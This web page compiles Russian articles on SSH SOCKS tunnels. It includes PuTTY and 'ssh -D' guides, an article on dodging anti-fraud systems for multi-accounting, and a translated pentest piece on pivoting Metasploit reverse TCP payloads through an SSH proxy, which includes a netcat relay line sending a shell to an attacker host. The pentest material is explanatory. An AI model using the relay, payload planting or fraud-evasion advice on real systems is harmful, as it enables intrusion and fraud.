Ssh через прокси: Собственный прокси сервер через SSH тоннель.
Собственный прокси сервер через SSH тоннель.
Сейчас началась такая тенденция в интернете, что удобные и всем привычные сервисы становятся платными. Не знаю с чем это связано, но самое обидное, что платными они становятся не для всех, а для стран, которые не приносят доход с рекламы, таких например как Россия. А я лично не собираюсь платить за то,за что допустим американский пользователь платить не будет. Ну я думаю, что всем понятно что страну они определяют по IP адресу, поэтому чтобы без проблем пользоваться такими сервисами достаточно подменить свой IP. Самый простой способ сделать это — использовать бесплатные анонимные proxy сервера. Найти их можно без проблем, забив соответствующий запрос в гугол. В принципе этого варианта вполне хватит для комфортной работы, но сейчас я хочу рассказать как можно сделать свой анонимный прокси сервер, конечно не бесплатно но и не очень дорого.
Для начала надо зарегистрировать сервер на котором будет работать Ваш прокси, самым оптимальным вариантом будет VPS/VDS. Это услуга, в рамках которой пользователю предоставляется так называемый Виртуальный выделенный сервер. В плане управления операционной системой по большей части она соответствует физическому выделенному серверу. (c Wikipedia). При регистрации VDS обязательна узнайте какой стране будет ваш сервер. Обычно эту информацию никто не скрывает, поэтому если эта информация не будет висеть на главной страницы, то Вам без проблем на этот вопрос ответит служба поддержки. Так же следует обратить внимание, что на некоторых хостингах VDS запрещено размещать сервисы типа прокси серверов, но для этих целей есть специальные тарифы. Я выбрал хостинг fastvps.ru (ВНИМАНИЕ ссылка реферская) и за 4.9 евро в месяц имею VDS с 10 мигабитным каналом с немецким ip. Но вы можете выбрать любой другой хостинг. Как правило хостинки предлагают сервера под debian.
Разворачиваем свой прокси сервер.
Самый очевидный способ организовать себе интернет через ваш VDS это поставить на него proxy сервер. Самый простое решение это прокси на базе 3proxy. Как написано на сайте разработчиков: «3proxy это маленький многоплатформный набор прокси-серверов (под Linux/Unix и Windows, включая 64-битные версии).».
Я пробовал организовать свой прокси серевер через 3proxy, но не смог его поставить на свой VDS и забил, но в итернете полно статей по его установки и настройки. Я же хочу Вам предложить другой более лёгкий способ решение нашей проблеммы.
Тоннель через SSH.
Где бы Вы не зарегистрировали VDS сервер, к нему обязательно уже будет доступ по ssh, иначе Вы бы не смогли с ним ничего сделать. Так вот, что бы решить нашу проблему получения доступа к ресурсам через наш VDS сервер достаточно только этого ssh доступа. Всё что нужно сделать это набрать в командной строке
ssh [email protected] -D 5555
только замените uers на имя пользователя существующего на вашем сервере, 123.123.123.123 на ip адрес вашего сервера. Вся фишка заключается в параметр -D , чтобы не вводить никого в заблуждение не буду писать как это работает, почитайте в man’е если интересно.
Всё осталось настроить браузер(FireFox) для работы, так как это сделано на скриншоте, 5555 это порт на котором будет работать ваш прокси.
Для работы под Windows’ом поставьте PuTTY и создайте новое подключение следующим образом.
Запустите PuTTY, в поле Hostname введите ip адрес вашего VDS, тут порт можете оставить 22.
Переходим в дереве настрояк в Connection->SSH->Tunnels. Вводим в “Source port” 5555, Destination выбираем “Dynamic”, потом жмём Add и Open.
и настраиваем браузер (Internet Explorer 8).
vds сервер
SOCKS5 прокси через ssh-туннель при помощи putty
Home
> IT-bullshit, System administration > SOCKS5 прокси через ssh-туннель при помощи putty: часть 1
SOCKS5 прокси через ssh-туннель при помощи putty: часть 1
ssh, как известно, очень мощный инструмент: помимо удобного доступа к терминалу удаленных машин и передачи файлов, ssh еще умеет делать туннели. Один из небольших примеров мы разберем сегодня с Вами – при помощи сервера с ssh сделаем ssh-туннель, к которому подключимся и будем использовать в качестве socks-прокси. Сегодня мы будем делать это в Windows, объектом следующей статьи будет проделывание того же самого, но уже нативно, в Linux.
Поехали. Открываем putty, вписываем адрес нашего ssh сервера:
Едем дальше. Настраиваем кодировку для правильного отображение символов в терминале. Если работать в нем не нужно, и соединение будет использоваться только для туннеля – то делать это необязательно.
Следующим шагом будет настройка самого туннеля. Идем во вкладку “Connection” -> “SSH” -> “Tunnels”. В “Source port” вбиваем порт 3128, ниже поля “Destination” ставите кнопку “Dynamic”. См. скриншот.
После проделывание вышеуказанных операций порт отобразится в окошке “Fowarded ports”.
На этом конфигурация Putty завершена. При желании, настройки можно сохранить в первой вкладке “Session”, что бы каждый раз при подключении заново не вбивать их. Нажимаем “Open” и вводим свои учетные данные в системе. Далее нужно настроить браузер. В моем случае это Firefox. Идем в “Инструменты” -> “Настройки” -> “Дополнительно” -> “Сеть” -> “Настроить” и вписываем туда SOCKS прокси и порт 3128.
Всё, подтверждаем сохранение настроек и пользуемся. Удачи!
Сравнение Proxy, SSH и VPN для мультиаккаунтинга
Вводное слово от редактора
Статья написана VEKTOR T13, мы лишь публикуем ее у себя, так как считаем крайне полезным материалом. Орфография и пунктуация автора сохранены.
Далее тест автора.
«Данная статья написана с точки зрения работы Антифрод систем, в её основе лежит анализ теневого рынка сетевых ресурсов. Информация в этой статье не рассматривается с точки зрения информационной безопасности и идеальных лабораторных условий.»
Не так давно я отметил пятилетний юбилей своей публичной деятельности, за это время многое поменялось и в системах защиты и в системах обхода систем защиты, но одна вещь так и не изменилась, извечный спор:
«Что лучше? Прокси? ВПН? SSH туннель?»
Cколько людей — столько и мнений. Форумы, чаты, различные сообщества — все они время от времени получают такой холивар на пару сотен или даже тысяч сообщений.
В июле 2020 года я создал свободное, некоммерческое комьюнити, а именно телеграмм-чат и как, мой дорогой читатель, ты смог догадаться, спор о том:
«С чего лучше работать?» продолжился и в этом телеграмм чате. Я решил изучить этот вопрос и наконец-то найти на него ответ, однако некоторые моменты, которые я выявил повергли меня в шок…
Проблема №1
Итак, для начала я отследил причину конфликта, и в большинстве случаев она одна и та-же.
Начинается все примерно так:
Какой-то новичек, задает простой вопрос, сам по себе вопрос глупый, при том, что у меня в заголовке чата есть большая подборка прокси сервисов и каждый раз, когда человек регистрируется в чате — ему приходит приветственное сообщение со всеми полезными ссылками и в том числе с списком прокси серверов и плюс ко всему это сообщение именное — а значит незаметить его невозможно.
Но не смотря на это новичок задает вопрос.
«Парни, подскажите дешевый прокси сервис, приватный, с домашними айпи и всеми другими ништяками.»
Такой вопрос вызывает всегда бурную реакцию, ведь некоторые любят «клевать» новичков, но на общий флуд можно не обращать внимания, суть в другом.
В чате сразу образуется два человека
Первый — Начинает серьезный хейт новичка
Второй — Защищает новичка и говорит хейтеру, что такие сервисы есть
Первый — Хейтер начинает оперировать техническими терминами
Второй — Защитник начинает все нападки хейтера отражать и тоже оперирует техническими терминами
Такая дискуссия продолжается некоторое время (в чатах быстрее, на форумах дольше)
После чего хейтер принимает поражение и просит сообщить ему что-же это за чудо сервис, ну а защитник говорит «Не хочу рекламить», «Не хочу чтобы убили сервис», «Найди свой», но в конце концов пишет:
«Отпиши в личку — скину ссылку, в общий чат не буду.»
Спектакль окончен. Занавес.
Я думаю, мой дорогой читатель ты уже понял суть этого развода, но я все-же дам свои комментарии.
Новичок, хейтер и защитник — все это один и тот же человек.
Новичёк является поводом для дискуссии и привлекает внимание тупым вопросом.
Хейтер оперируя техническими терминами вызывает доверие публики т.к. он в начале как раз и представляет публику (А публика не верит в такие чудо сервисы — поэтому публика на стороне хейтера)
Защитник же делает скрытую рекламу, и якобы «побеждает» умного, технически подкованного хейтера и таким образом подсознательно побеждает публику.
Плюсом к этому является мнимая закрытость и приватность сервиса — а запретный плод сладок.
Ну и конечно защитник под уговорами хейтера сдается и пишет заветное «Отпиши в личку — скину ссылку, здесь не буду». Вот тут и начинается сбор средств.
Пользователи чата, которые были свидетелями этого конфликта начинают судорожно стучатся Защитнику в личку и тот любезно делится ссылкой на чудо сервис, где регистрация стоит всего 50-70 долларов ну и совершенно случайно сейчас даже акция идет, и он промокод может выдать — вот повезло ведь! А диалог в личке это уже контактная продажа.
Ну в дальше можно не быть семи пядей во лбу, чтобы посчитать сколько человек постучится Защитнику в личку и сколько купят этот чудо прокси сервис. Счет пользователей обычно составляет 2-3% от онлайна чата. Ну и диалог на форуме и в чате останется еще очень долго и будет приносить свои плоды.
Вот такой вот простой метод развода недавно пытались организовать в моем телеграмм-чате, однако волшебный OSINT бот @telesint_bot помог выявить всю троицу по их общим группам и единому сценарию. Пусть эти аккаунты и ушли в бан в моем телеграмм-чате, но на их место прийдут другие и развод начнется заново, можно сказать, что это не развод а нечестная реклама — но это уже каждый сам для себя решит.
Проблема №2
После того, как я понял первую причину конфликта:
«С чего лучше работать?» — а именно нечестных на руку владельцев прокси сервисов, можно было идти дальше.
Я проанализировал чат и выявил три основные мнения:
1. Proxy лучше всего
2. SSH туннели лучше всего
3. VPN лучше всего
4. Группа детей Солнца — но о них позже
Я начал писать пользователям в личку с стороннего телеграмм аккаунта и задавал вопросы — «С какими сервисами работаешь?» и в таком духе и после краткого диалога я выявил причину номер 2!
Приведу реальные цитаты диалогов:
Vektor T13 — «Привет, с какими сервисами работаешь? Что юзаешь — Прокси, ВПН или Туннели?»
Пользователь 1 — «С амазоном. На проксях»
Vektor T13 — «Привет, с какими сервисами работаешь? Что юзаешь — Прокси, ВПН или Туннели?»
Пользователь 2 — «Я со старзами работаю, впн использую»
Vektor T13 — «Привет, с какими сервисами работаешь? Что юзаешь — Прокси, ВПН или Туннели?»
Пользователь 3 — «АдВордс. Люксы (прокси)»
Vektor T13 — «Привет, с какими сервисами работаешь? Что юзаешь — Прокси, ВПН или Туннели?»
Дитя солнца 1 — «Я работаю на eBay. Я использую HTTP прокси.»
Проблема номер 2 на лицо — в дискуссиях нет четкого определения против какой именно Антифрод системы работает человек, есть только общий вопрос, и при проведении четкого опроса например «Кто работает с Google AdWords» ответы по используемому проксификатору на 90% будут совпадать и так в каждой из категорий.
Проблема №3
Трабла номер 3 была обнаружена путем наблюдения за чатом — мало кто разбирается в технических подробностях тех сетевых ресурсов, которые использует и фактически проверка этих ресурсов ограничивается лишь проверкой ip на каком-нибудь сайте чекере. Однако это всеравно что взять на тест-драйв Волгу, Феррари и Белаз и судить их основываясь на количестве колес, цвете и наличии шайтан-воды которую нужно залить в бензобак.
Обычно вопросы касающиеся разницы между видами прокси, ВПНов и тому подобные всегда отправляют в Google — мол там ты найдешь ответы на все вопросы, однако я проверил и таких ответов а именно детального сравнения я не нашел, поэтому именно на Проблеме номер 3 я решил заострить свое внимание и разобрать ее от А до Я, итак приступим…
Зачем нужны проксификаторы?
Как можно догадаться — основной целью, ради которой мы используем Проксификаторы, является изменение IP адреса.
Чтобы создать новую личность и выглядеть в глазах систем защиты новым человеком мы должны сменить IP и многие на этом и останавливаются, однако те ресурсы, которые нам помогают сменить IP, могут нам и навредить.
Пользователи часто путают понятия «Анонимность» и «Безопасность» и в следствии неправильного использования сетевых ресурсов наблюдается «Эффект страуса»
Пользователь думает, что он сменил IP и теперь его никто не узнает, но в это же время у него наблюдаются утечки его реального IP адреса сразу в нескольких местах — тоесть хоть голова и в земле а жопа всеравно снаружи (Кстати страусы голову в землю не прячут, это тоже миф) именно по причине неправильного использования сетевых ресурсов и происходит деанонимизация пользователя Антифрод системами.
Первое с чего необходимо начать — это с фундамента, нам нужно определить какие именно сетевые ресурсы нам необходимы, и в этом нам поможет Модель OSI, уоторую мы можем увидеть на рисунке ниже.
Cетевая модель стека сетевых протоколов OSI/ISO
Как мы видимм есть целых 7 основных этапов нашего с вами сетевого соединения, и каждый из этих этапов (дальше — уровни) характеризуется различным уровнем прав, доступа и арихитектуры, где
Уровень №1 — является самым низким,
Уровень № 7 самым высоким.
И в зависимости от того, на каком из уровнев мы работаем и будет зависеть наш выбор Проксификатора, потому что в некоторых случаях нам хватит всего навсего прокси в браузере (Уровень 7) а иногда прийдется опустится ниже, например при проксификации всей операционной системы с помощью ВПН (Уровень 2)
Какие ресурсы принято использовать для изменения IP адреса при обходе Антифрод систем?
Proxy сервера
Proxy сервера (Прокси) — сервер посредник — он получает наши пакеты при соединении и «носит» их от нас к нашему целевому веб ресурсу.
Прокси может быть настроен на сервере, домашнем ПК, роутере, телефоне, кофеварке и практически любом другом доступном сетевом ресурсе.
Прокси бывают нескольких видов:
CGI — или по-другому web прокси. Это веб страница, на которой вам предлагается ввести адрес сайта и он откроется в этой же странице с другим IP. Браузерный вариант.
HTTP — Простой прокси для HTTP запросов. Бесполезное решение в нашем случае.
Ко всему прочему HTTP делятся еще на три условные группы:
Прозрачные прокси — Сообщат всем веб ресурсам ваш реальный IP. Пример — заголовок x-forwarded-for. Бесполезно.
Анонимные прокси — Скроют ваш IP, но сообщат о том, что используется прокси. Бесполезно.
Элитные прокси — Скроют ваш IP, не сообщат о том, что используется прокси, ну и на этом все. Бесполезно.
HTTPS — Тот же бесполезный для нас прокси HTTP но уже +S — а это значит, что он поддерживает шифрование, тоесть у нас будут проксифицироватся вебстранички https — формы аторизации, ввод и передача чувствительной информации и т.д. Но этот прокси всеравно издалека виден Антифрод системам, плюс ко всему еще и может модифицировать наши пакеты.
Socks 4 — Первый пригодный для работы протокол Прокси. Пытается скрыть проксификацию, не модифицирует пакеты и в целом неплох, но имеет свои минусы.
Socks 5 — Практически идеальный вариант, то же что и Socks 4, но добавилась так нам нужная поддержка UDP протокола, и соответвенно возможность подмены DNS и IPv6.
ShadowSocks — Китайское опенсорс изобретение, которое по функционалу лидирует среди всех конкурентов. Идеал.
Proxy является самой многочисленной группой и самым популярным средством изменения IP адреса при работе с различными системами защиты и идентификации пользователя. Я сделал сравнение самых популярных Proxy протоколов, для того, чтобы понять — какой же протокол лучше.
Смотрим внимательно на таблицу ниже:
Сравнительная таблица современных Proxy протоколов
Согласитесь, что после просмотра данной таблицы Проблемы №2, которую мы рассматривали в начале уже не должно быть, и на вопрос:
«С чего ты работаешь?» уже можно дать четкий ответ,
а не как раньше: «С проксиков».
И действительно, разниица между протоколами Proxy впечатляющая, и при этом каждый пункт функционала, указанный в этой таблице, может использоваться системами Идентификации пользователей.
Именно эта разница в функционале делает HTTP, HTTPS, SOCKS 4 протоколы бесполезными, потому что отсутствие поддержки UDP протокола и плюс к этому отсутвие проксирования DNS запросов будут аномальными и выделят нас среди массы реальных пользователей.
Варианты Socks 5 и ShadowSocks являются единственными, которые могут помочь нам в маскировке нашей личности при работе с системами Идентификации пользователей. Но есть не только Proxy, давайте перейдем к рассмотрению других технологий.
2. SSH туннели
Вторая по популярности после Proxy технология.
Удаленный сервер, который по нашему принуждению стал сервером посредником. Работает это так — при соединении SSH-клиента и SSH-сервера со стороны SSH-клиента поднимается SOCKS-прокси, например, на localhost’е, на который можно указывать приложениям с поддержкой SOCKS. Само проксирование будет через SSH-сервер, с которым вы соединяетесь. В сумме — Интернет вас будет видеть от имени SSH-сервера, соединение между SSH-клиентом и SSH-сервером зашифровано, так что не видно вложенных данных приложения, а для приложения все выглядит как обращение к обычному SOCKS-прокси.
3. VPN
VPN — Виртуальная Частная Сеть — технология позволяющая создать зашифрованное соединение в незашифрованных сетях. Пришла к нам из телефонных сетей и насчитывает более 10 разновидностей, на практике же, при всех своих достоинствах имеет серьезный недостаток в работе — слабую возможность маскировки использования технологии VPN. В нашем дальнейшем сравнении мы возьмем усредненную рыночную конфигурацию VPN.
Ввиду того, что на рынке присутствует большое разнообразие VPN сервисов, и у каждого свои особенности мы рассмотрим их вообщем.
4. TOR
Когда речь заходит о смене личности некоторые люди любят поумничать:
«ТОР даже Сноуден использовал — используй ТОР!»
«ТОР и ФБР не сломает, а не то что твой этот Амазон!»
Ну и прочая подобная ахинея льется из клавиатур умников, которые даже не понимают смысл, как сети ТОР, так и методик смены личности. Поэтому буду краток.
В ТОРе в нашем случае есть две проблемы:
1. ТОР Браузер не изменяет отпечатки нашей цифровой личности.
2. ТОР Браузер имеет свои уникальные особенности, которые нас выдадут.
3. Все знают что сеть ТОР официально выступает за интернет без цензуры, ну а по факту там в основном наркотики и детское порно. Ни одна уважающая себя система защиты не позволит ничего сделать с IP адреса входящего в сеть выходных узлов сети ТОР. Просто забываем про использование ТОРа в работе.
И по результатам, среди всех популярных технологий, по смене IP адреса мы можем выделить 4 технологии пригодные для работы:
1. Socks 5
2. ShadowSocks
3. SSH туннели
4. VPN
Ну признаются непригодными для работы:
1. CGI Proxy
2. HTTP Proxy
3. HTTPS Proxy
4. Socks 4 Proxy
5. TOR
После того, как мы выявили самые лучшие технологии по смене IP нам все-же необходимо разобраться — Какая технология лучше всех?
И как всегда, нам на помощь приходит очень хорошая таблица сравнения функционала, давайте рассмотрим каждую технологию и сравним их между собой:
Сравнение топовых технологий изменения IP адреса
Как мы видим, среди претендетнов есть лидер, но вот за 3 место нужно будет поборотся, там не все так однозначно.
Место №1 — ShadowSocks
Технология, которая единственная из всех претендентов создавалась имеенно дял маскировки личности, в то время как остальные были созданы либо для обеспечения безопасности пережаваемой информации, либо как часть сетевой архитектуры. В этом и кроется секрет успеха ShadowSocks т.к. Анонимность была причиной его появления, но никак не следствием.
Место №2 — Socks 5
Имея свои явные недостатки протокол Socks 5 всеравно остается надежным решением по смене личности при работе а Антифрод системами. Да, он не маскирует трафик, не устойчив против Deep Packet Inspection — но такие технологии на данный момент встречаются довольно редко, поэтому работать можно, хоть время и неумолими летит вперед и ситуация по актуальности использования Socks 5 скоро изменится не в лучшую сторону.
Место №3 — VPN и SSH
На третьем месте разместились сразу две технологии способные изменить наш IP адрес и они вцелом тождественные — они могут использоватся в работе, но их выявление являеться в большинстве случаев очень простой задачей, поэтому расчитывать на данные технологии в работе увы не лучший выбор. Вариантов определения использования VPN и SSH довольно много и фактически все из них уже используются антифрод системами, вот хороший пример:
IPQuality Score
«Гладко было на бумаге, но забыли про овраги»
Мы с вами, дорогой читатель, провели огромную работу, разобрали каждую технологию смены IP, выявили лучшие и худшие и казалось бы все двери Антифрод систем перед нами открыты, но увы, помимо теории есть практика и начинается эта практика с рынка.
Когда человеку необходим какой-то сетевой ресурс из нашего списка он идет на рынок, и при этом рынок может быть как среди обычных вебресурсов представленных в поисковых системах, так и на различного рода теневых форумах, и в большинстве случаев качество таких сетевых ресурсов оставляет желать лучшего, однако кое какие моменты мы все-же можем выяснить.
Откуда вообще берутся Proxy, SSH, VPN?
Есть три основных источника происхождения сетевых ресурсов представленных на рынке:
1. Продавцы сами «поднимают» сетевые ресурсы.
2. Продавцы взламывают чужие веб ресурсы и выставляют их на продажу.
3. Ботнет
Как мы видим из трёх вариантов — два являются незаконными. Конечно же продавцы не сообщают нам что «Наши проксики из Ботнета» или что то в этом духе и по сути работает схема «Покупатель не спросил, продавец не рассказал» ну и вроде бы все счастливы, однако в этой схеме есть и свои недостатки — ведь по сути Покупатель взломанного сетевого ресурса несет ответственность как и Продавец этого взломанного сетевого ресурса.
Иными словами это как покупка машины — один эту машину украл, другой купил и катается — соответственно виноваты будут оба, кто то в большей степени, кто то в меньшей, но согласитесь очень неприятно было бы если вас Интерпол арестует в каком нибудь европейском аэропорту и предъявит за использование 100 взломанных ПК 5 лет назад, которые вы использовали для регистрации аккаунтов Google.
(Я немного сгустил краски но это реально)
Использование ботнета или целенправленный взлом сетевых ресурсов позволяет таким «продавцам»:
1. Снизить себестоимость, а соответственно увеличить прибыль
2. Добиваться «Резидентского» или по-простому «Домашнего IP адреса» — такие IP адреса пользуются наибольшим спросом т.к. в отличии от Серверных IP пользуются большим уровнем доверия в Антифрод системах.
Я продемонстрирую одно видео, которое поможет каждому человеку научится отделять домашние IP адреса от Серверных.
И это еще не все.
Продолжение следует…
Оригинал статьи
Итог от редактора
Статья крайне интересная и полезная, особенно если попытаться осмыслить полученные знания и применить на практике в конкретно нашей работе, конечно, это не антифрод, но системы +- очень схожи.
Если вам понравился такой контент, то смело рекомендую прочесть вот эти 2 публикации на нашем сайте:
Поделиться ссылкой:
Putty — SOCKS5 прокси через SSH-туннель
Однажды один из IP адресов на работе попал в SORBS SPAM. IP адрес можно выкинуть из спам листа, если зайти на сайт sorbs.net именно с этого IP адреса. Но у меня на компе другой внешний IP адрес, а на почтовике с нужным IP стоит linux и нет возможности запустить браузер.
Сделаем с помощью putty SSH туннель.
Запускаем putty, указываем адрес SSH-хоста, через который будем строить туннель.
В Connection > SSH > Tunnels указываем Source port. Я пишу традиционный 3128. Ставим галку Dynamic.
Нажимаем Add.
В окошке отобразится «D3128».
Нажимаем Open и коннектимся к хосту.
По идее у меня на компе с ОС Windows должен открыться порт 3128. Запускаем командную строку и выполняем:
netstat -tan | find "3128"Да, есть TCP 3128 на всех локальных IP адресах (0.0.0.0), который можно использовать как прокси.
Запускаем браузер, например, Firefox. Заходим в настройки, General > Network Settings > Settings.
Configure Proxy Access to the Internet.
- Указываем Manual proxy configuration.
- SOCKS Host: 127.0.0.1
- Port: 3128
- SOCKS v5
OK.
Теперь наш браузер ходит в Интернет под IP адресом выбранного хоста через SSH-туннель.
Использование ssh socks прокси совместно с MSF Reverse TCP Payloads / Хабр
Данный вольный перевод был мотивирован необходимостью в собственном понимании сабжа после прочтения ряда постов, начало которым было положено здесь, спасибо хабраюзеру levinkv
Использование ssh socks прокси совместно с MSF Reverse TCP Payloads
Иногда пентестерам необходимо перенаправлять свой сетевой трафик через различные прокси для получения доступа к частным сетям, для обхода межсетевых экранов, или же для сокрытия своих следов. Для решения таких задач специалисты имеют целый арсенал возможностей разнородного туннелирования и переадресации трафика, чтобы работать в различных сетевых архитектурах при тестировании. Каждый случай подобной работы определенно зависит от служб, запущенных на прокси-сервере и уровню доступа к этим службам.
Один из моих любимых случаев (как и многие другие) это работа с OpenSSH Socks прокси. Удаленный ssh прокси дает возможность различными способами переадресовывать трафик через ssh туннель. Тем не менее существует главный недостаток в случае с socks прокси — вы «не можете» использовать сушествующие reverse tcp payloads, которые поставляются с Metasploit framework (и многими другими подобными инструментами). Однако, это не совсем так. Есть возможность для включения некоторых функций OpenSSH в целях обхода ограничений при использовании ssh перенаправления.
Многие скажут, что существует масса альтернатив для tcp reverse payloads, такие как PHP, Java, HTTP, DNS, и т.д. Это верно, но большинство из них зависят от специфического приложения и не являются стабильными при определенных обстоятельствах. Кроме того, эти альтернативы не всегда применимы из-за некоторых ограничений эксплуатации.
Другие сообщат, что функции Metasploit meterpreter (framework routes + port forward) могут использоваться для перенаправления трафика через обычные прокси, избегая использования соксов. Недостатком этого способа является недостаточная устойчивость meterpreter payload для линукс прокси (по крайней мере на момент написания поста).
Теперь, когда вы убедились, что при некоторых обстоятельствах использование socks прокси является единственным стабильным вариантом, давайте посмотрим, что мы можем изменить в ограничениях обратного TCP соединения.
Когда используется reverse tcp payload, компьютер жертвы пытается подключиться с ip-адресом атакующего. Если используется SSH Socks прокси, то компьютер жертвы использует в качестве ip-адреса атакующего ip-адрес прокси. Следовательно, reverse TCP payload будет пытаться подключиться к прокси, а не к атакующему. Metasploit framework прекрасно позволяет решить такую проблему, когда socks прокси используется с reverse TCP payload.
Основная идея для обхода ограничений подобного рода заключается в использовании механизма переадресации в прокси для доставки пакетов на правильный адрес при обратном подключении с прокси. Представленный метод возможен когда выполняются следующие условия:
1. Возможность ssh подключения к прокси (обычный пользователь или администратор, каждый случай разбирается отдельно)
2. Прокси имеет по крайней мере один неиспользуемый открытый порт
3. Прокси имеет возможность к подключению с компютером жертвы.
Для остальной части этой статьи будет использоваться следующая топология сети:
Сначала установим соединение ssh socks прокси и проверим его через proxychains:
SSH socks прокси работает и мы можем его использовать для доступа к компьютеру жертвы:
Сейчас, если мы попытаемся использовать наш Socks прокси вместе с TCP payload, Metasploit может показать такую ошибку:
Особенности переадресации портов в OpenSSH помогут нам обойти это препятствие. Два варианта действий будут освещены в зависимости от уровня доступа атакующего к сервисам прокси:
1. Административный доступ: Изменения конфигурации OpenSSH и использование всех особенностей переадресации
2. Пользовательский доступ: Использование локальной перадресации портов OpenSSH для организации второго ssh туннеля
Для тех, кто не знаком с локальной и удаленной переадресацией SSH портов рекомендуются к прочтению ссылки в конце поста.
Перед тем, как продолжить, давайте отключим проверку reverse TCP socks прокси в metasploit для тестирования всех перечисленных случаев. К счастью для нас, модульная архитектура metasploit позволяет легко реализовать данную возможность. Надо всего лишь закомментировать строчки 68-70 в «lib/msf/core/handler/reverse_tcp.rb»
1. Административный доступ к Прокси
Удаленная переадресация портов в OpenSSH использует перенаправление сетевого траффика с порта 4444 на прокси к порту 53 атакующего. Как упоминает руководство OpenSSH, подключение при удаленной переадресации свяжет порт прокси (4444 в нашем случае) с таким же портом на локальном хосте. Привязка на локалхосте будет блокировать входящие соединения от жертвы. Так что мы должны обладать правами администратора для изменения конфигурации sshd и включения опции GatewayPorts.
Когда payload сработает, тогда сеть приобретет такой вид:
Для продолжения давайте проверим что все работает с помощью netcat:
Если вместо IP-адреса атакующего вы используете локальный адрес, то такой туннель будет работать как часы (и в этом нет ничего удивительного), хотя менеджер сессии Metasploit будет не в состоянии идентифицировать связи и прервет работу. Некоторые (факультативные) исследования с помощью tcpdump могут прояснить как работают такие перенаправления.
Убедившись, что наш прокси работает правильно, давайте перейдем к Metasploit. Сгенерируем linux x86 reverse TCP stagged shell payload и зальем на компьютер жертвы. Для запуска payload используем PHP скрипт, расположив его в директории с Web-страницами для сервера Apache. В процессе генерации payload использовались следующие данные: LHOST был определен как адрес прокси, как и LPORT (4444 в этом примере), на который идет переадресация к атакующему через прокси.
В конце давайте запустим payload с помощью дополнительного модуля (single GET request) и установим соединение через socks прокси:
2. Пользовательский доступ к Прокси
Пользовательский доступ к прокси означает, что мы не можем выставить опцию GatewayPorts в настройках sshd. Так что мы должны найти другой путь для осуществления переадресации. В этом случае мы используем опцию для локальной переадресации (-L) и сотворим второй туннель на локалхост со стороны прокси. Флаг -g используется для привязки сокета на 0.0.0.0 разрешая входящие соединения кроме локалхост.
Следовательно, обратное соединение приобретет такой вид:
Обычная проверка netcatом перед использованием Metasploit:
И наконец, socks прокси также успешно работает с reverse TCP payloads:
Миссия завершена! Нам удалось использовать reverse TCP payloads c ssh Socks прокси и воспользоваться различными функциями OpenSSH. Конечно, кто-то может осуществлять переадресацию портов на прокси различными другими способами (Iptables, инструменты сторонних производителей, и т.д.). OpenSSH был выбран потому, что в нем уже доступна работа с ssh Socks прокси и часто такая работа незаметна для системного администратора, в то время, как другие инструменты могут сигнализировать о своей работе (и конечно, работа с iptables не возможна при пользовательском уровне доступа).
Было бы идеально, если б описанные выше способы были бы как-нибудь реализованы в Metasploit Framework, делая возможным использование reverse TCP payloads в различных сценариях socks прокси.
Ссылки:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0%BE%D1%82%D0%B5%D0%BB%D0%B8_%D0%B7%D0%BD%D0%B0%D1%82%D1%8C_%D0%BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. Bechtsoudis
—{ Update 11 June 2012 }—
Переадресацию портов с прокси к атакующему так же легко можно организовать с помощью netcat. Будьте осторожны при использовании netcat, так как его работа может вызывать тревогу в некоторых системах обнаружения вторжений. Для установления скрытого соединения пытайтесь создавать зашифрованные каналы с прокси (ncat, netcat stunnel и т.д.).
root@proxy:~# mkfifo pipe
root@proxy:~# nc -nvlp 4444 0<pipe | nc attacker 53 1>pipe
Оригинал по ссылке.
Бесплатный прокси через ssh
В процессе работы над одним из проектов случайно появилось решение, как можно организовать практически бесплатный прокси-сервер через ssh-соединение (ну например в-контактик на работе закрыт, а ssh — нет).
Алгоритм получается примерно такой:
- Регистрация аккаунта на amazon
- Создание виртуального сервера
- Корректирование параметров доступа
- Настройка putty, организация туннеля до созданного сервера
- Настройка firefox, корректировка способа доступа к сети
Регистрация аккаунта на amazon
У Амазона есть бесплатное предложение использования виртуального сервера в течение первого года существования аккаунта при некоторых ограничениях. Подробнее можно узнать тут: http://aws.amazon.com/free/. Для создания аккаунта понадобится банковская карточка и сотовый телефон. С карточки снимут доллар при регистрации, на сотовый поступит звонок для проверки.
В качестве карточки очень удобно использовать виртуальные карты от QIWI.
Сложного в регистрации ничего нет описывать подробнее не вижу смысла.
Создание виртуального сервера
В панели управления нужно выбрать «EC2» (Virtual Servers in the Cloud).
В правом верхнем углу нужно выбрать регион датацентра, где будет находиться виртуальный сервер.
Нажимаем «Launch Instance». Практически всё будет со стандартными параметрами.
Используем Classic Wizard. Выбираем «Amazon Linux AMI». Проверяем, что в качестве Instance Type указан T1 Micro (который бесплатный). Создаём ключи для доступа, скачиваем открытый ключ.
Для нашей задачи будет достаточно стандартной группы безопасности.
Запускаем виртуальный сервер.
Выбираем раздел «Elastic IPs», нажимаем «Allocate New Address». После выдачи ip-адреса, выбираем его, нажимаем «Associate Address», указываем только что созданный сервер.
В результате этих действий был создан виртуальный сервер и для него назначен внешний ip-адрес.
Корректирование параметров доступа
Доступ к серверу может быть осуществлён по созданному выше ключу. Это не всегда удобно (хотя, конечно, более безопасно). Сделаем доступ по паролю и логину.
Для скачанного файла ключа устанавливаем права на чтение и запись только для владельца, после чего соединяемся с сервером, используя этот файл ключа. Стоит обратить внимание, что логиниться нужно из-под пользователья ec2-user, а не root.
С помощью команды adduser создаём нового пользователя. Редактируем файл /etc/ssh/sshd_config и устанавливаем «PasswordAuthentication yes». Перезапускаем сервер ssh: service sshd restart. Все команды запускаем через sudo. Пробуем залогиниться из-под нового пользователя с помощью пароля.
Организация туннеля до созданного сервера в *nix
ssh -l логин -D 17778 имя_сервера
Oрганизация туннеля до созданного сервера в Windows, настройка putty
Скачиваем PuTTY с официального сайта.
Прописываем ip-адрес, название сессии, сохраняем сессию.
Соединяемся с сервером.
Создаём для PuTTY ярлык, в строке параметров прописывая следующее:
putty.exe -load proxy -D 17778 -l login -pw password
Теперь при запуске через этот ярлык PuTTY будет устанавливать соедиенение ssh с тунеллированием указанного порта.
Настройка firefox, корректировка способа доступа к сети
